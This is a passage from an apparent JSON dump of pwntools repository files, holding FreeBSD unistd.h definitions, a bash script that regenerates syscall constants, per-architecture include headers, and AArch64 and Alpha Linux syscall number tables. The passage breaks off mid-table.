*/\n#ifdef\t_NOT_AVAILABLE\n#define\t_POSIX_SAVED_IDS\t1 /* saved set-user-ID and set-group-ID */\n#endif\n\n/* Define the POSIX.1 version we target for compliance. */\n#define\t_POSIX_VERSION\t\t200112L\n\n/* access function */\n#define\tF_OK\t\t0\t/* test for existence of file */\n#define\tX_OK\t\t0x01\t/* test for execute or search permission */\n#define\tW_OK\t\t0x02\t/* test for write permission */\n#define\tR_OK\t\t0x04\t/* test for read permission */\n\n/* whence values for lseek(2) */\n#ifndef SEEK_SET\n#define\tSEEK_SET\t0\t/* set file offset to offset */\n#define\tSEEK_CUR\t1\t/* set file offset to current plus offset */\n#define\tSEEK_END\t2\t/* set file offset to EOF plus offset */\n#endif\n#if __BSD_VISIBLE\n#define\tSEEK_DATA\t3\t/* set file offset to next data past offset */\n#define\tSEEK_HOLE\t4\t/* set file offset to next hole past offset */\n#endif\n\n#ifndef _POSIX_SOURCE\n/* whence values for lseek(2); renamed by POSIX 1003.1 */\n#define\tL_SET\t\tSEEK_SET\n#define\tL_INCR\t\tSEEK_CUR\n#define\tL_XTND\t\tSEEK_END\n#endif\n\n/* configurable pathname variables */\n#define\t_PC_LINK_MAX\t\t 1\n#define\t_PC_MAX_CANON\t\t 2\n#define\t_PC_MAX_INPUT\t\t 3\n#define\t_PC_NAME_MAX\t\t 4\n#define\t_PC_PATH_MAX\t\t 5\n#define\t_PC_PIPE_BUF\t\t 6\n#define\t_PC_CHOWN_RESTRICTED\t 7\n#define\t_PC_NO_TRUNC\t\t 8\n#define\t_PC_VDISABLE\t\t 9\n\n#if __POSIX_VISIBLE >= 199309\n#define\t_PC_ASYNC_IO\t\t53\n#define\t_PC_PRIO_IO\t\t54\n#define\t_PC_SYNC_IO\t\t55\n#endif\n\n#if __POSIX_VISIBLE >= 200112\n#define\t_PC_ALLOC_SIZE_MIN\t10\n#define\t_PC_FILESIZEBITS\t12\n#define\t_PC_REC_INCR_XFER_SIZE\t14\n#define\t_PC_REC_MAX_XFER_SIZE\t15\n#define\t_PC_REC_MIN_XFER_SIZE\t16\n#define\t_PC_REC_XFER_ALIGN\t17\n#define\t_PC_SYMLINK_MAX\t\t18\n#endif\n\n#if __BSD_VISIBLE\n#define\t_PC_ACL_EXTENDED\t59\n#define\t_PC_ACL_PATH_MAX\t60\n#define\t_PC_CAP_PRESENT\t\t61\n#define\t_PC_INF_PRESENT\t\t62\n#define\t_PC_MAC_PRESENT\t\t63\n#define\t_PC_ACL_NFS4\t\t64\n#endif\n\n/* From OpenSolaris, used by SEEK_DATA/SEEK_HOLE. */\n#define\t_PC_MIN_HOLE_SIZE\t21\n\n#if __BSD_VISIBLE\n/*\n * rfork() options.\n *\n * XXX currently, some operations without RFPROC set are not supported.\n */\n#define\tRFNAMEG\t\t(1<<0)\t/* UNIMPL new plan9 `name space' */\n#define\tRFENVG\t\t(1<<1)\t/* UNIMPL copy plan9 `env space' */\n#define\tRFFDG\t\t(1<<2)\t/* copy fd table */\n#define\tRFNOTEG\t\t(1<<3)\t/* UNIMPL create new plan9 `note group' */\n#define\tRFPROC\t\t(1<<4)\t/* change child (else changes curproc) */\n#define\tRFMEM\t\t(1<<5)\t/* share `address space' */\n#define\tRFNOWAIT\t(1<<6)\t/* give child to init */\n#define\tRFCNAMEG\t(1<<10)\t/* UNIMPL zero plan9 `name space' */\n#define\tRFCENVG\t\t(1<<11)\t/* UNIMPL zero plan9 `env space' */\n#define\tRFCFDG\t\t(1<<12)\t/* close all fds, zero fd table */\n#define\tRFTHREAD\t(1<<13)\t/* enable kernel thread support */\n#define\tRFSIGSHARE\t(1<<14)\t/* share signal handlers */\n#define\tRFLINUXTHPN\t(1<<16)\t/* do linux clone exit parent notification */\n#define\tRFSTOPPED\t(1<<17)\t/* leave child in a stopped state */\n#define\tRFHIGHPID\t(1<<18)\t/* use a pid higher than 10 (idleproc) */\n#define\tRFTSIGZMB\t(1<<19)\t/* select signal for exit parent notification */\n#define\tRFTSIGSHIFT\t20\t/* selected signal number is in bits 20-27  */\n#define\tRFTSIGMASK\t0xFF\n#define\tRFTSIGNUM(flags)\t(((flags) >> RFTSIGSHIFT) & RFTSIGMASK)\n#define\tRFTSIGFLAGS(signum)\t((signum) << RFTSIGSHIFT)\n#define\tRFPROCDESC\t(1<<28)\t/* return a process descriptor */\n#define\tRFPPWAIT\t(1<<31)\t/* parent sleeps until child exits (vfork) */\n#define\tRFFLAGS\t\t(RFFDG | RFPROC | RFMEM | RFNOWAIT | RFCFDG | \\\n    RFTHREAD | RFSIGSHARE | RFLINUXTHPN | RFSTOPPED | RFHIGHPID | RFTSIGZMB | \\\n    RFPROCDESC | RFPPWAIT)\n#define\tRFKERNELONLY\t(RFSTOPPED | RFHIGHPID | RFPPWAIT | RFPROCDESC)\n\n#endif /* __BSD_VISIBLE */\n\n#endif /* !_SYS_UNISTD_H_ */\n"
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/vm/vm.h",
    "content": ""
  },
  {
    "path": "pwnlib/data/includes/generator/generate_constants.sh",
    "content": "#!/bin/bash\nset -e\n\ngrep -hEo '__NR_\\w*' linux/diet/*/syscalls.h | sed 's/__NR\\(.*\\)/#define SYS\\1 __NR\\1/' |LC_ALL=C sort -dfu - linux/syscall_map.h >linux/syscall_map.h.new\nmv linux/syscall_map.h.new linux/syscall_map.h\n\npushd linux\nARCHS=\"$(ls *.h | sed 's/.h$//' | grep -v -e common -e syscall_map)\"\npopd\n\npython=\"../../../constants\"\nheaders=\"../\"\n\nrm -rf \"$headers/linux\" \"$headers/freebsd.h\"\nmkdir -p \"$headers/linux\"\nfind \"$python\" -type f \\( -name '*.py' -o -name '*.pyc' \\) -not -name \"__init__.py\"  -not -name 'constant.py' -delete\nfind \"$python\" -type d -empty -delete\n\nfor arch in $ARCHS; do\n  echo $arch\n  swig -python -E -cpperraswarn -Ilinux -Ilinux -Ilinux/diet -Ilinux/diet/$arch -includeall linux/$arch.h | egrep \"^%constant\" | ./load_constants.py $python/linux/$arch.py $headers/linux/$arch.h\ndone\n\nswig -python -E -Ifreebsd -includeall freebsd/common.h | egrep \"^%constant\" | ./load_constants.py $python/freebsd.py $headers/freebsd.h\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/aarch64.h",
    "content": "#define __arm__\n#define __aarch64__\n#include <aarch64/syscalls.h>\n#include <common.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/alpha.h",
    "content": "#define __alpha__\n#include <alpha/syscalls.h>\n#include <common.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/amd64.h",
    "content": "#define __x86_64__\n#include <x86_64/syscalls.h>\n#include <x86_64/syscalls32.h>\n#include <common.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/arm.h",
    "content": "#define __arm__\n#define __ARM_EABI__ 1\n#define __KERNEL__   1\n#include <arm/syscalls.h>\n#include <common.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/common.h",
    "content": "#define __ASSEMBLER__\n#define MAP_32BIT       0x40 // Only give out 32-bit addresses.\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n\n#include <errno.h>\n#include <fcntl.h>\n#include <signal.h>\n#include <sys/mman.h>\n#include <sys/socket.h>\n#include <sys/ptrace.h>\n#include <syscall_map.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/aarch64/syscalls.h",
    "content": "#ifndef _AARCH64_SYSCALL_H\n#define _AARCH64_SYSCALL_H 1\n\n#define __NR_io_setup 0\n#define __NR_io_destroy 1\n#define __NR_io_submit 2\n#define __NR_io_cancel 3\n#define __NR_io_getevents 4\n#define __NR_setxattr 5\n#define __NR_lsetxattr 6\n#define __NR_fsetxattr 7\n#define __NR_getxattr 8\n#define __NR_lgetxattr 9\n#define __NR_fgetxattr 10\n#define __NR_listxattr 11\n#define __NR_llistxattr 12\n#define __NR_flistxattr 13\n#define __NR_removexattr 14\n#define __NR_lremovexattr 15\n#define __NR_fremovexattr 16\n#define __NR_getcwd 17\n#define __NR_lookup_dcookie 18\n#define __NR_eventfd2 19\n#define __NR_epoll_create1 20\n#define __NR_epoll_ctl 21\n#define __NR_epoll_pwait 22\n#define __NR_dup 23\n#define __NR_dup3 24\n#define __NR_fcntl 25\n#define __NR_inotify_init1 26\n#define __NR_inotify_add_watch 27\n#define __NR_inotify_rm_watch 28\n#define __NR_ioctl 29\n#define __NR_ioprio_set 30\n#define __NR_ioprio_get 31\n#define __NR_flock 32\n#define __NR_mknodat 33\n#define __NR_mkdirat 34\n#define __NR_unlinkat 35\n#define __NR_symlinkat 36\n#define __NR_linkat 37\n#define __NR_renameat 38\n#define __NR_umount2 39\n#define __NR_mount 40\n#define __NR_pivot_root 41\n#define __NR_nfsservctl 42\n#define __NR_statfs 43\n#define __NR_fstatfs 44\n#define __NR_truncate 45\n#define __NR_ftruncate 46\n#define __NR_fallocate 47\n#define __NR_faccessat 48\n#define __NR_chdir 49\n#define __NR_fchdir 50\n#define __NR_chroot 51\n#define __NR_fchmod 52\n#define __NR_fchmodat 53\n#define __NR_fchownat 54\n#define __NR_fchown 55\n#define __NR_openat 56\n#define __NR_close 57\n#define __NR_vhangup 58\n#define __NR_pipe2 59\n#define __NR_quotactl 60\n#define __NR_getdents64 61\n#define __NR_lseek 62\n#define __NR_read 63\n#define __NR_write 64\n#define __NR_readv 65\n#define __NR_writev 66\n#define __NR_pread64 67\n#define __NR_pwrite64 68\n#define __NR_preadv 69\n#define __NR_pwritev 70\n#define __NR_sendfile 71\n#define __NR_pselect6 72\n#define __NR_ppoll 73\n#define __NR_signalfd4 74\n#define __NR_vmsplice 75\n#define __NR_splice 76\n#define __NR_tee 77\n#define __NR_readlinkat 78\n#define __NR_fstatat 79\n#define __NR_newfstatat __NR_fstatat\n#define __NR_fstat 80\n#define __NR_sync 81\n#define __NR_fsync 82\n#define __NR_fdatasync 83\n#define __NR_sync_file_range 84\n#define __NR_timerfd_create 85\n#define __NR_timerfd_settime 86\n#define __NR_timerfd_gettime 87\n#define __NR_utimensat 88\n#define __NR_acct 89\n#define __NR_capget 90\n#define __NR_capset 91\n#define __NR_personality 92\n#define __NR_exit 93\n#define __NR_exit_group 94\n#define __NR_waitid 95\n#define __NR_set_tid_address 96\n#define __NR_unshare 97\n#define __NR_futex 98\n#define __NR_set_robust_list 99\n#define __NR_get_robust_list 100\n#define __NR_nanosleep 101\n#define __NR_getitimer 102\n#define __NR_setitimer 103\n#define __NR_kexec_load 104\n#define __NR_init_module 105\n#define __NR_delete_module 106\n#define __NR_timer_create 107\n#define __NR_timer_gettime 108\n#define __NR_timer_getoverrun 109\n#define __NR_timer_settime 110\n#define __NR_timer_delete 111\n#define __NR_clock_settime 112\n#define __NR_clock_gettime 113\n#define __NR_clock_getres 114\n#define __NR_clock_nanosleep 115\n#define __NR_syslog 116\n#define __NR_ptrace 117\n#define __NR_sched_setparam 118\n#define __NR_sched_setscheduler 119\n#define __NR_sched_getscheduler 120\n#define __NR_sched_getparam 121\n#define __NR_sched_setaffinity 122\n#define __NR_sched_getaffinity 123\n#define __NR_sched_yield 124\n#define __NR_sched_get_priority_max 125\n#define __NR_sched_get_priority_min 126\n#define __NR_sched_rr_get_interval 127\n#define __NR_restart_syscall 128\n#define __NR_kill 129\n#define __NR_tkill 130\n#define __NR_tgkill 131\n#define __NR_sigaltstack 132\n#define __NR_rt_sigsuspend 133\n#define __NR_rt_sigaction 134\n#define __NR_rt_sigprocmask 135\n#define __NR_rt_sigpending 136\n#define __NR_rt_sigtimedwait 137\n#define __NR_rt_sigqueueinfo 138\n#define __NR_rt_sigreturn 139\n#define __NR_setpriority 140\n#define __NR_getpriority 141\n#define __NR_reboot 142\n#define __NR_setregid 143\n#define __NR_setgid 144\n#define __NR_setreuid 145\n#define __NR_setuid 146\n#define __NR_setresuid 147\n#define __NR_getresuid 148\n#define __NR_setresgid 149\n#define __NR_getresgid 150\n#define __NR_setfsuid 151\n#define __NR_setfsgid 152\n#define __NR_times 153\n#define __NR_setpgid 154\n#define __NR_getpgid 155\n#define __NR_getsid 156\n#define __NR_setsid 157\n#define __NR_getgroups 158\n#define __NR_setgroups 159\n#define __NR_uname 160\n#define __NR_sethostname 161\n#define __NR_setdomainname 162\n#define __NR_getrlimit 163\n#define __NR_setrlimit 164\n#define __NR_getrusage 165\n#define __NR_umask 166\n#define __NR_prctl 167\n#define __NR_getcpu 168\n#define __NR_gettimeofday 169\n#define __NR_settimeofday 170\n#define __NR_adjtimex 171\n#define __NR_getpid 172\n#define __NR_getppid 173\n#define __NR_getuid 174\n#define __NR_geteuid 175\n#define __NR_getgid 176\n#define __NR_getegid 177\n#define __NR_gettid 178\n#define __NR_sysinfo 179\n#define __NR_mq_open 180\n#define __NR_mq_unlink 181\n#define __NR_mq_timedsend 182\n#define __NR_mq_timedreceive 183\n#define __NR_mq_notify 184\n#define __NR_mq_getsetattr 185\n#define __NR_msgget 186\n#define __NR_msgctl 187\n#define __NR_msgrcv 188\n#define __NR_msgsnd 189\n#define __NR_semget 190\n#define __NR_semctl 191\n#define __NR_semtimedop 192\n#define __NR_semop 193\n#define __NR_shmget 194\n#define __NR_shmctl 195\n#define __NR_shmat 196\n#define __NR_shmdt 197\n#define __NR_socket 198\n#define __NR_socketpair 199\n#define __NR_bind 200\n#define __NR_listen 201\n#define __NR_accept 202\n#define __NR_connect 203\n#define __NR_getsockname 204\n#define __NR_getpeername 205\n#define __NR_sendto 206\n#define __NR_recvfrom 207\n#define __NR_setsockopt 208\n#define __NR_getsockopt 209\n#define __NR_shutdown 210\n#define __NR_sendmsg 211\n#define __NR_recvmsg 212\n#define __NR_readahead 213\n#define __NR_brk 214\n#define __NR_munmap 215\n#define __NR_mremap 216\n#define __NR_add_key 217\n#define __NR_request_key 218\n#define __NR_keyctl 219\n#define __NR_clone 220\n#define __NR_execve 221\n#define __NR_mmap 222\n#define __NR_fadvise64 223\n#define __NR_swapon 224\n#define __NR_swapoff 225\n#define __NR_mprotect 226\n#define __NR_msync 227\n#define __NR_mlock 228\n#define __NR_munlock 229\n#define __NR_mlockall 230\n#define __NR_munlockall 231\n#define __NR_mincore 232\n#define __NR_madvise 233\n#define __NR_remap_file_pages 234\n#define __NR_mbind 235\n#define __NR_get_mempolicy 236\n#define __NR_set_mempolicy 237\n#define __NR_migrate_pages 238\n#define __NR_move_pages 239\n#define __NR_rt_tgsigqueueinfo 240\n#define __NR_perf_event_open 241\n#define __NR_accept4 242\n#define __NR_recvmmsg 243\n#define __NR_arch_specific_syscall 244\n#define __NR_wait4 260\n#define __NR_prlimit64 261\n#define __NR_fanotify_init 262\n#define __NR_fanotify_mark 263\n#define __NR_name_to_handle_at 264\n#define __NR_open_by_handle_at 265\n#define __NR_clock_adjtime 266\n#define __NR_syncfs 267\n#define __NR_setns 268\n#define __NR_sendmmsg 269\n#define __NR_process_vm_readv 270\n#define __NR_process_vm_writev 271\n#define __NR_kcmp 272\n#define __NR_finit_module 273\n#define __NR_sched_setattr 274\n#define __NR_sched_getattr 275\n#define __NR_renameat2 276\n#define __NR_seccomp 277\n#define __NR_getrandom 278\n#define __NR_memfd_create 279\n#define __NR_bpf 280\n#define __NR_execveat 281\n#define __NR_userfaultfd 282\n#define __NR_membarrier 283\n#define __NR_mlock2 284\n#define __NR_copy_file_range 285\n#define __NR_preadv2 286\n#define __NR_pwritev2 287\n#define __NR_pkey_mprotect 288\n#define __NR_pkey_alloc 289\n#define __NR_pkey_free 290\n#define __NR_statx 291\n#define __NR_io_pgetevents 292\n#define __NR_rseq 293\n#define __NR_kexec_file_load 294\n\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n\n#ifdef __ASSEMBLER__\n\n#include \"aarch64-features.h\"\n\n#define syscall_weak(name,wsym,sym) __syscall_weak __NR_##name, wsym, sym, __ARGS_##name\n.macro __syscall_weak name wsym sym typ\nFUNC_START_WEAK\t\\wsym\n__syscall\t\\name, \\sym, \\typ\nFUNC_END\t\\wsym\n.endm\n\n#define syscall(name,sym) __syscall __NR_##name, sym, __ARGS_##name\n.macro __syscall name sym typ\nFUNC_START\t\\sym\n        mov\tx8, #\\name\n        svc\t#0\n        b\t__unified_syscall\nFUNC_END\t\\sym\n.endm\n\n#endif\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/alpha/syscalls.h",
    "content": "\n#define __NR_osf_syscall\t  0\t/* not implemented */\n#define __NR_exit\t\t  1\n#define __NR_fork\t\t  2\n#define __NR_read\t\t  3\n#define __NR_write\t\t  4\n#define __NR_osf_old_open\t  5\t/* not implemented */\n#define __NR_close\t\t  6\n#define __NR_osf_wait4\t\t  7\n#define __NR_osf_old_creat\t  8\t/* not implemented */\n#define __NR_link\t\t  9\n#define __NR_unlink\t\t 10\n#define __NR_osf_execve\t\t 11\t/* not implemented */\n#define __NR_chdir\t\t 12\n#define __NR_fchdir\t\t 13\n#define __NR_mknod\t\t 14\n#define __NR_chmod\t\t 15\n#define __NR_chown\t\t 16\n#define __NR_brk\t\t 17\n#define __NR_osf_getfsstat\t 18\t/* not implemented */\n#define __NR_lseek\t\t 19\n#define __NR_getxpid\t\t 20\n#define __NR_osf_mount\t\t 21\n#define __NR_umount\t\t 22\n#define __NR_setuid\t\t 23\n#define __NR_getxuid\t\t 24\n#define __NR_exec_with_loader\t 25\t/* not implemented */\n#define __NR_ptrace\t\t 26\n#define __NR_osf_nrecvmsg\t 27\t/* not implemented */\n#define __NR_osf_nsendmsg\t 28\t/* not implemented */\n#define __NR_osf_nrecvfrom\t 29\t/* not implemented */\n#define __NR_osf_naccept\t 30\t/* not implemented */\n#define __NR_osf_ngetpeername\t 31\t/* not implemented */\n#define __NR_osf_ngetsockname\t 32\t/* not implemented */\n#define __NR_access\t\t 33\n#define __NR_osf_chflags\t 34\t/* not implemented */\n#define __NR_osf_fchflags\t 35\t/* not implemented */\n#define __NR_sync\t\t 36\n#define __NR_kill\t\t 37\n#define __NR_osf_old_stat\t 38\t/* not implemented */\n#define __NR_setpgid\t\t 39\n#define __NR_osf_old_lstat\t 40\t/* not implemented */\n#define __NR_dup\t\t 41\n#define __NR_pipe\t\t 42\n#define __NR_osf_set_program_attributes\t43\n#define __NR_osf_profil\t\t 44\t/* not implemented */\n#define __NR_open\t\t 45\n#define __NR_osf_old_sigaction\t 46\t/* not implemented */\n#define __NR_getxgid\t\t 47\n#define __NR_osf_sigprocmask\t 48\n#define __NR_osf_getlogin\t 49\t/* not implemented */\n#define __NR_osf_setlogin\t 50\t/* not implemented */\n#define __NR_acct\t\t 51\n#define __NR_sigpending\t\t 52\n\n#define __NR_ioctl\t\t 54\n#define __NR_osf_reboot\t\t 55\t/* not implemented */\n#define __NR_osf_revoke\t\t 56\t/* not implemented */\n#define __NR_symlink\t\t 57\n#define __NR_readlink\t\t 58\n#define __NR_execve\t\t 59\n#define __NR_umask\t\t 60\n#define __NR_chroot\t\t 61\n#define __NR_osf_old_fstat\t 62\t/* not implemented */\n#define __NR_getpgrp\t\t 63\n#define __NR_getpagesize\t 64\n#define __NR_osf_mremap\t\t 65\t/* not implemented */\n#define __NR_vfork\t\t 66\n#define __NR_stat\t\t 67\n#define __NR_lstat\t\t 68\n#define __NR_osf_sbrk\t\t 69\t/* not implemented */\n#define __NR_osf_sstk\t\t 70\t/* not implemented */\n#define __NR_mmap\t\t 71\t/* OSF/1 mmap is superset of Linux */\n#define __NR_osf_old_vadvise\t 72\t/* not implemented */\n#define __NR_munmap\t\t 73\n#define __NR_mprotect\t\t 74\n#define __NR_madvise\t\t 75\n#define __NR_vhangup\t\t 76\n#define __NR_osf_kmodcall\t 77\t/* not implemented */\n#define __NR_osf_mincore\t 78\t/* not implemented */\n#define __NR_getgroups\t\t 79\n#define __NR_setgroups\t\t 80\n#define __NR_osf_old_getpgrp\t 81\t/* not implemented */\n#define __NR_setpgrp\t\t 82\t/* BSD alias for setpgid */\n#define __NR_osf_setitimer\t 83\n#define __NR_osf_old_wait\t 84\t/* not implemented */\n#define __NR_osf_table\t\t 85\t/* not implemented */\n#define __NR_osf_getitimer\t 86\n#define __NR_gethostname\t 87\n#define __NR_sethostname\t 88\n#define __NR_getdtablesize\t 89\n#define __NR_dup2\t\t 90\n#define __NR_fstat\t\t 91\n#define __NR_fcntl\t\t 92\n#define __NR_osf_select\t\t 93\n#define __NR_poll\t\t 94\n#define __NR_fsync\t\t 95\n#define __NR_setpriority\t 96\n#define __NR_socket\t\t 97\n#define __NR_connect\t\t 98\n#define __NR_accept\t\t 99\n#define __NR_getpriority\t100\n#define __NR_send\t\t101\n#define __NR_recv\t\t102\n#define __NR_sigreturn\t\t103\n#define __NR_bind\t\t104\n#define __NR_setsockopt\t\t105\n#define __NR_listen\t\t106\n#define __NR_osf_plock\t\t107\t/* not implemented */\n#define __NR_osf_old_sigvec\t108\t/* not implemented */\n#define __NR_osf_old_sigblock\t109\t/* not implemented */\n#define __NR_osf_old_sigsetmask\t110\t/* not implemented */\n#define __NR_sigsuspend\t\t111\n#define __NR_osf_sigstack\t112\n#define __NR_recvmsg\t\t113\n#define __NR_sendmsg\t\t114\n#define __NR_osf_old_vtrace\t115\t/* not implemented */\n#define __NR_osf_gettimeofday\t116\n#define __NR_osf_getrusage\t117\n#define __NR_getsockopt\t\t118\n\n#define __NR_readv\t\t120\n#define __NR_writev\t\t121\n#define __NR_osf_settimeofday\t122\n#define __NR_fchown\t\t123\n#define __NR_fchmod\t\t124\n#define __NR_recvfrom\t\t125\n#define __NR_setreuid\t\t126\n#define __NR_setregid\t\t127\n#define __NR_rename\t\t128\n#define __NR_truncate\t\t129\n#define __NR_ftruncate\t\t130\n#define __NR_flock\t\t131\n#define __NR_setgid\t\t132\n#define __NR_sendto\t\t133\n#define __NR_shutdown\t\t134\n#define __NR_socketpair\t\t135\n#define __NR_mkdir\t\t136\n#define __NR_rmdir\t\t137\n#define __NR_osf_utimes\t\t138\n#define __NR_osf_old_sigreturn\t139\t/* not implemented */\n#define __NR_osf_adjtime\t140\t/* not implemented */\n#define __NR_getpeername\t141\n#define __NR_osf_gethostid\t142\t/* not implemented */\n#define __NR_osf_sethostid\t143\t/* not implemented */\n#define __NR_getrlimit\t\t144\n#define __NR_setrlimit\t\t145\n#define __NR_osf_old_killpg\t146\t/* not implemented */\n#define __NR_setsid\t\t147\n#define __NR_quotactl\t\t148\n#define __NR_osf_oldquota\t149\t/* not implemented */\n#define __NR_getsockname\t150\n\n#define __NR_osf_pid_block\t153\t/* not implemented */\n#define __NR_osf_pid_unblock\t154\t/* not implemented */\n\n#define __NR_sigaction\t\t156\n#define __NR_osf_sigwaitprim\t157\t/* not implemented */\n#define __NR_osf_nfssvc\t\t158\t/* not implemented */\n#define __NR_osf_getdirentries\t159\n#define __NR_osf_statfs\t\t160\n#define __NR_osf_fstatfs\t161\n\n#define __NR_osf_asynch_daemon\t163\t/* not implemented */\n#define __NR_osf_getfh\t\t164\t/* not implemented */\n#define __NR_osf_getdomainname\t165\n#define __NR_setdomainname\t166\n\n#define __NR_osf_exportfs\t169\t/* not implemented */\n\n#define __NR_osf_alt_plock\t181\t/* not implemented */\n\n#define __NR_osf_getmnt\t\t184\t/* not implemented */\n\n#define __NR_osf_alt_sigpending\t187\t/* not implemented */\n#define __NR_osf_alt_setsid\t188\t/* not implemented */\n\n#define __NR_osf_swapon\t\t199\n#define __NR_msgctl\t\t200\n#define __NR_msgget\t\t201\n#define __NR_msgrcv\t\t202\n#define __NR_msgsnd\t\t203\n#define __NR_semctl\t\t204\n#define __NR_semget\t\t205\n#define __NR_semop\t\t206\n#define __NR_osf_utsname\t207\n#define __NR_lchown\t\t208\n#define __NR_osf_shmat\t\t209\n#define __NR_shmctl\t\t210\n#define __NR_shmdt\t\t211\n#define __NR_shmget\t\t212\n#define __NR_osf_mvalid\t\t213\t/* not implemented */\n#define __NR_osf_getaddressconf\t214\t/* not implemented */\n#define __NR_osf_msleep\t\t215\t/* not implemented */\n#define __NR_osf_mwakeup\t216\t/* not implemented */\n#define __NR_msync\t\t217\n#define __NR_osf_signal\t\t218\t/* not implemented */\n#define __NR_osf_utc_gettime\t219\t/* not implemented */\n#define __NR_osf_utc_adjtime\t220\t/* not implemented */\n\n#define __NR_osf_security\t222\t/* not implemented */\n#define __NR_osf_kloadcall\t223\t/* not implemented */\n\n#define __NR_getpgid\t\t233\n#define __NR_getsid\t\t234\n#define __NR_sigaltstack\t235\n#define __NR_osf_waitid\t\t236\t/* not implemented */\n#define __NR_osf_priocntlset\t237\t/* not implemented */\n#define __NR_osf_sigsendset\t238\t/* not implemented */\n#define __NR_osf_set_speculative\t239\t/* not implemented */\n#define __NR_osf_msfs_syscall\t240\t/* not implemented */\n#define __NR_osf_sysinfo\t241\n#define __NR_osf_uadmin\t\t242\t/* not implemented */\n#define __NR_osf_fuser\t\t243\t/* not implemented */\n#define __NR_osf_proplist_syscall    244\n#define __NR_osf_ntp_adjtime\t245\t/* not implemented */\n#define __NR_osf_ntp_gettime\t246\t/* not implemented */\n#define __NR_osf_pathconf\t247\t/* not implemented */\n#define __NR_osf_fpathconf\t248\t/* not implemented */\n\n#define __NR_osf_uswitch\t250\t/* not implemented */\n#define __NR_osf_usleep_thread\t251\n#define __NR_osf_audcntl\t252\t/* not implemented */\n#define __NR_osf_audgen\t\t253\t/* not implemented */\n#define __NR_sysfs\t\t254\n#define __NR_osf_subsys_info\t255\t/* not implemented */\n#define __NR_osf_getsysinfo\t256\n#define __NR_osf_setsysinfo\t257\n#define __NR_osf_afs_syscall\t258\t/* not implemented */\n#define __NR_osf_swapctl\t259\t/* not implemented */\n#define __NR_osf_memcntl\t260\t/* not implemented */\n#define __NR_osf_fdatasync\t261\t/* not implemented */\n\n#define __NR_umount_without_flags __NR_oldumount\n#define __NR_umount_with_flags __NR_umount\n\n/*\n * Linux-specific system calls begin at 300\n */\n#define __NR_bdflush\t\t300\n#define __NR_sethae\t\t301\n#define __NR_mount\t\t302\n#define __NR_old_adjtimex\t303\n#define __NR_swapoff\t\t304\n#define __NR_getdents\t\t305\n#define __NR_create_module\t306\n#define __NR_init_module\t307\n#define __NR_delete_module\t308\n#define __NR_get_kernel_syms\t309\n#define __NR_syslog\t\t310\n#define __NR_reboot\t\t311\n#define __NR_clone\t\t312\n#define __NR_uselib\t\t313\n#define __NR_mlock\t\t314\n#define __NR_munlock\t\t315\n#define __NR_mlockall\t\t316\n#define __NR_munlockall\t\t317\n#define __NR_sysinfo\t\t318\n#define __NR__sysctl\t\t319\n/* 320 was sys_idle.  */\n#define __NR_oldumount\t\t321\n#define __NR_swapon\t\t322\n#define __NR_times\t\t323\n#define __NR_personality\t324\n#define __NR_setfsuid\t\t325\n#define __NR_setfsgid\t\t326\n#define __NR_ustat\t\t327\n#define __NR_statfs\t\t328\n#define __NR_fstatfs\t\t329\n#define __NR_sched_setparam\t\t330\n#define __NR_sched_getparam\t\t331\n#define __NR_sched_setscheduler\t\t332\n#define __NR_sched_getscheduler\t\t333\n#define __NR_sched_yield\t\t334\n#define __NR_sched_get_priority_max\t335\n#define __NR_sched_get_priority_min\t336\n#define __NR_sched_rr_get_interval\t337\n#define __NR_afs_syscall\t\t338\n#define __NR_uname\t\t\t339\n#define __NR_nanosleep\t\t\t340\n#define __NR_mremap\t\t\t341\n#define __NR_nfsservctl\t\t\t342\n#define __NR_setresuid\t\t\t343\n#define __NR_getresuid\t\t\t344\n#define __NR_pciconfig_read\t\t345\n#define __NR_pciconfig_write\t\t346\n#define __NR_query_module\t\t347\n#define __NR_prctl\t\t\t348\n#define __NR_pread\t\t\t349\n#define __NR_pwrite\t\t\t350\n#define __NR_rt_sigreturn\t\t351\n#define __NR_rt_sigaction\t\t352\n#define __NR_rt_sigprocmask\t\t353\n#define __NR_rt_sigpending\t\t354\n#define __NR_rt_sigtimedwait\t\t355\n#define __NR_rt_sigqueueinfo\t\t356\n#define __NR_rt_sigsuspend\t\t357\n#define __NR_select\t\t\t358\n#define __NR_gettimeofday\t\t359\n#define __NR_settimeofday\t\t360\n#define __NR_getitimer\t\t\t361\n#define __NR_setitimer\t\t\t362\n#define __NR_utimes\t\t\t363\n#define __NR_getrusage\t\t\t364\n#define __NR_wait4\t\t\t365\n#define __NR_adjtimex\t\t\t366\n#define __NR_getcwd\t\t\t367\n#define __NR_capget\t\t\t368\n#define __NR_capset\t\t\t369\n#define __NR_sendfile\t\t\t370\n#define __NR_setresgid\t\t\t371\n#define __NR_getresgid\t\t\t372\n#define __NR_dipc\t\t\t373\n#define __NR_pivot_root\t\t\t374\n#define __NR_mincore\t\t\t375\n#define __NR_pciconfig_iobase\t\t376\n#define __NR_getdents64\t\t\t377\n#define __NR_gettid\t\t\t378\n#define __NR_readahead\t\t\t379\n/* 380 is unused */\n#define __NR_tkill\t\t\t381\n#define __NR_setxattr\t\t\t382\n#define __NR_lsetxattr\t\t\t383\n#define __NR_fsetxattr\t\t\t384\n#define __NR_getxattr\t\t\t385\n#define __NR_lgetxattr\t\t\t386\n#define __NR_fgetxattr\t\t\t387\n#define __NR_listxattr\t\t\t388\n#define __NR_llistxattr\t\t\t389\n#define __NR_flistxattr\t\t\t390\n#define __NR_removexattr\t\t391\n#define __NR_lremovexattr\t\t392\n#define __NR_fremovexattr\t\t393\n#define __NR_futex\t\t\t394\n#define 